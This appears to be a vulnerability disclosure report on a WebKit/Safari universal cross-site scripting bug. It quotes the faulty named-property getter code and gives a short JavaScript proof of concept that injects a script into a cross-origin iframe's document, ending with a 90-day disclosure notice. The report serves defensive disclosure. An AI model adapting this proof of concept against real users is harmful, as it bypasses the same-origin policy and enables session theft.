The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function.

static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetter(JSDOMWindowProperties* thisObject, Frame& frame, ExecState* exec, PropertyName propertyName, PropertySlot& slot)
{
    ...
    Document* document = frame.document(); <<-------- the new document.
    if (is<HTMLDocument>(*document)) {
        auto& htmlDocument = downcast<HTMLDocument>(*document);
        auto* atomicPropertyName = propertyName.publicName();
        if (atomicPropertyName && htmlDocument.hasWindowNamedItem(*atomicPropertyName)) {
            JSValue namedItem;
            if (UNLIKELY(htmlDocument.windowNamedItemContainsMultipleElements(*atomicPropertyName))) {
                Ref<HTMLCollection> collection = document->windowNamedItems(atomicPropertyName);
                ASSERT(collection->length() > 1);
                namedItem = toJS(exec, thisObject->globalObject(), collection);
            } else
                namedItem = toJS(exec, thisObject->globalObject(), htmlDocument.windowNamedItem(*atomicPropertyName));
            slot.setValue(thisObject, ReadOnly | DontDelete | DontEnum, namedItem);
            return true;
        }
    }

    return false;
}

PoC:

"use strict";

let f = document.body.appendChild(document.createElement("iframe"));
let get_element = f.contentWindow.Function("return logo;");

f.onload = () => {
    f.onload = null;

    let node = get_element();

    var sc = document.createElement("script");
    sc.innerText = "alert(location)";
    node.appendChild(sc);
};

f.src = "https://abc.xyz/";

Tested on Safari 10.0.2(12602.3.12.0.1).


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.